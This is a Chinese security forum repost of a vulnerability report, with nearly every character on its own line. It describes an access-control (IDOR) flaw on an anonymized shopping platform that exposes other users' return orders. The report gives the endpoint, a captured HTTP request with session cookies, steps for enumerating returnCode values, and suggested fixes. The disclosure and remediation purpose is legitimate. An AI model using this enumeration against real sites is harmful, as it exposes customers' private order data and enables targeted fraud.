论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
Web安全
[2121] 2020-08-16_某购物平台退货单越权查看
文档创建者：
s7ckTeam
浏览次数：
2
最后更新：
2025-01-16
Web安全
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-08-16_某购物平台退货单越权查看
某
购
物
平
台
退
货
单
越
权
查
看
原
创
无
剧
E
D
I
安
全
2
0
2
0
-
0
8
-
1
6
收
录
于
话
题
#
白
帽
之
旅
,
3
1
个
点
击
蓝
字
点
击
蓝
字
·
关
注
我
们
关
注
我
们
0
1
项
目
名
称
购
物
平
台
w
e
b
端
0
2
漏
洞
标
题
【
6
1
8
众
测
】
某
购
物
平
台
退
货
单
越
权
查
看
0
3
漏
洞
类
型
逻
辑
漏
洞
0
4
漏
洞
级
别
高
危
0
5
漏
洞
描
述
某
购
物
平
台
—
—
我
的
订
单
—
—
查
看
退
货
单
—
—
替
换
r
e
t
u
r
n
C
o
d
e
的
值
可
以
越
权
查
看
其
它
用
户
的
退
货
订
单
详
情
，
可
以
查
看
其
它
用
户
的
账
户
，
被
其
它
攻
击
者
利
用
可
以
定
向
的
对
受
害
者
推
销
商
品
，
存
在
欺
诈
风
险
。
0
6
漏
洞
U
R
L
h
t
t
p
s
:
/
/
w
w
w
.
x
x
x
x
.
c
o
m
/
s
e
r
v
i
c
e
/
w
e
b
/
o
r
d
e
r
R
e
t
u
r
n
/
g
e
t
R
e
t
u
r
n
B
y
R
e
t
u
r
n
C
o
d
e
P
O
S
T
数
据
:
{
"
r
e
t
u
r
n
C
o
d
e
"
:
"
R
1
9
0
6
2
5
3
0
4
3
2
0
2
1
"
}
0
7
复
现
步
骤
第
一
步
：
打
开
w
e
b
端
-
我
的
订
单
-
查
看
退
货
单
第
二
步
：
查
看
退
货
单
的
时
候
，
抓
包
第
二
步
：
查
看
退
货
单
的
时
候
，
抓
包
P
O
S
T
/
s
e
r
v
i
c
e
/
w
e
b
/
o
r
d
e
r
R
e
t
u
r
n
/
g
e
t
R
e
t
u
r
n
B
y
R
e
t
u
r
n
C
o
d
e
H
T
T
P
/
1
.
1
H
o
s
t
:
w
w
w
.
x
x
x
x
.
c
o
m
C
o
n
n
e
c
t
i
o
n
:
c
l
o
s
e
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
3
2
C
U
S
T
O
M
E
R
:
w
e
b
-
d
i
a
n
j
i
a
O
r
i
g
i
n
:
h
t
t
p
s
:
/
/
w
w
w
.
x
x
x
x
.
c
o
m
i
d
f
y
:
{
"
u
u
i
d
"
:
"
d
1
6
a
8
5
3
b
b
e
6
0
2
f
4
d
a
4
f
e
e
d
a
5
f
4
6
8
5
c
8
d
"
}
U
s
e
r
-
A
g
e
n
t
:
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
6
.
1
;
W
O
W
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
8
.
0
.
3
9
0
4
.
1
0
8
S
a
f
a
r
i
/
5
3
7
.
3
6
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
j
s
o
n
;
c
h
a
r
s
e
t
=
U
T
F
-
8
A
c
c
e
p
t
:
*
/
*
X
-
R
e
q
u
e
s
t
e
d
-
W
i
t
h
:
X
M
L
H
t
t
p
R
e
q
u
e
s
t
X
T
O
K
E
N
:
4
5
7
e
c
4
6
5
-
1
8
7
3
-
4
6
b
6
-
a
3
a
0
-
b
8
c
5
6
d
e
e
a
8
b
c
S
e
c
-
F
e
t
c
h
-
S
i
t
e
:
s
a
m
e
-
o
r
i
g
i
n
S
e
c
-
F
e
t
c
h
-
M
o
d
e
:
c
o
r
s
R
e
f
e
r
e
r
:
h
t
t
p
s
:
/
/
w
w
w
.
x
x
x
x
.
c
o
m
/
u
s
e
r
O
r
d
e
r
?
s
o
u
r
c
e
=
%
E
9
%
A
1
%
B
6
%
E
9
%
8
3
%
A
8
A
c
c
e
p
t
-
E
n
c
o
d
i
n
g
:
g
z
i
p
,
d
e
f
l
a
t
e
A
c
c
e
p
t
-
L
a
n
g
u
a
g
e
:
z
h
-
C
N
,
z
h
;
q
=
0
.
9
C
o
o
k
i
e
:
t
o
k
e
n
=
4
5
7
e
c
4
6
5
-
1
8
7
3
-
4
6
b
6
-
a
3
a
0
-
b
5
c
5
6
d
e
e
a
8
b
c
;
m
e
m
b
e
r
N
a
m
e
=
1
9
9
6
5
4
1
2
4
0
4
;
l
a
s
t
T
i
m
e
=
1
5
8
8
8
1
6
3
1
4
2
0
5
;
a
c
w
_
s
c
_
_
v
2
=
5
e
b
3
6
9
b
d
5
9
b
1
7
9
2
3
d
a
e
f
5
6
9
f
c
0
9
f
c
3
0
5
8
a
b
7
f
1
b
f
;
a
c
w
_
t
c
=
7
8
1
b
a
d
3
0
1
5
8
8
8
1
6
7
9
9
6
8
8
2
0
6
1
e
2
6
9
8
9
1
3
4
5
c
b
7
b
b
0
2
2
9
2
4
b
7
7
7
7
2
c
f
0
e
a
8
2
d
1
d
;
z
g
_
d
i
d
=
%
7
B
%
2
2
d
i
d
%
2
2
%
3
A
%
2
0
%
2
2
1
7
1
e
c
c
1
0
b
9
4
1
d
6
-
0
5
e
9
a
9
d
9
3
3
3
c
b
1
-
4
e
4
c
0
f
2
0
-
1
0
0
2
0
0
-
1
7
1
e
c
c
1
0
b
9
5
3
6
0
%
2
2
%
7
D
;
S
E
R
V
E
R
I
D
=
e
c
4
2
5
7
e
7
a
6
a
1
5
d
a
1
9
2
8
a
1
e
6
6
d
f
8
e
c
4
8
a
|
1
5
8
8
8
1
6
9
8
5
|
1
5
8
8
8
1
6
0
3
2
;
遍
历
此
r
e
t
u
r
n
C
o
d
e
的
值
可
以
查
看
其
它
用
户
的
退
化
订
单
点
击
蓝
字
点
击
蓝
字
·
关
注
我
们
关
注
我
们
0
8
修
复
方
案
1
.
服
务
器
没
有
对
前
端
用
户
传
入
的
参
数
进
行
二
次
校
验
。
2
.
完
善
鉴
权
系
统
，
或
者
添
加
t
o
k
e
n
参
数
才
标
识
用
户
身
份
。
P
S
：
本
文
仅
用
于
技
术
讨
论
与
分
析
，
严
禁
用
于
任
何
非
法
用
途
，
违
者
后
果
自
负
。
：
本
文
仅
用
于
技
术
讨
论
与
分
析
，
严
禁
用
于
任
何
非
法
用
途
，
违
者
后
果
自
负
。
扫
码
关
注
我
们
扫
码
关
注
我
们
长
按
二
维
码
关
注
E
D
I
安
全
一
个
专
注
渗
透
实
战
经
验
分
享
的
公
众
号
S
E
R
V
E
R
I
D
=
e
c
4
2
5
7
e
7
a
6
a
1
5
d
a
1
9
2
8
a
1
e
6
6
d
f
8
e
c
4
8
a
|
1
5
8
8
8
1
6
9
8
5
|
1
5
8
8
8
1
6
0
3
2
;
z
g
_
5
4
8
a
0
e
6
1
d
b
5
d
4
4
1
8
9
7
d
4
0
0
f
9
3
6
d
1
0
5
5
e
=
%
7
B
%
2
2
s
i
d
%
2
2
%
3
A
%
2
0
1
5
8
8
8
1
5
0
0
6
6
2
6
%
2
C
%
2
2
u
p
d
a
t
e
d
%
2
2
%
3
A
%
2
0
1
5
8
8
8
1
6
9
9
6
8
4
4
%
2
C
%
2
2
i
n
f
o
%
2
2
%
3
A
%
2
0
1
5
8
8
8
1
5
0
0
6
6
5
1
%
2
C
%
2
2
s
u
p
e
r
P
r
o
p
e
r
t
y
%
2
2
%
3
A
%
2
0
%
2
2
%
7
B
%
7
D
%
2
2
%
2
C
%
2
2
p
l
a
t
f
o
r
m
%
2
2
%
3
A
%
2
0
%
2
2
%
7
B
%
7
D
%
2
2
%
2
C
%
2
2
u
t
m
%
2
2
%
3
A
%
2
0
%
2
2
%
7
B
%
7
D
%
2
2
%
2
C
%
2
2
r
e
f
e
r
r
e
r
D
o
m
a
i
n
%
2
2
%
3
A
%
2
0
%
2
2
%
2
2
%
2
C
%
2
2
l
a
n
d
H
r
e
f
%
2
2
%
3
A
%
2
0
%
2
2
h
t
t
p
s
%
3
A
%
2
F
%
2
F
w
w
w
.
x
x
x
.
c
o
m
%
2
F
l
o
g
i
n
%
2
2
%
2
C
%
2
2
c
u
i
d
%
2
2
%
3
A
%
2
0
%
2
2
1
9
9
6
5
4
1
2
4
0
4
%
2
2
%
7
D
{
"
r
e
t
u
r
n
C
o
d
e
"
:
"
R
1
x
x
6
2
x
0
0
x
3
2
0
8
1
"
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
Web安全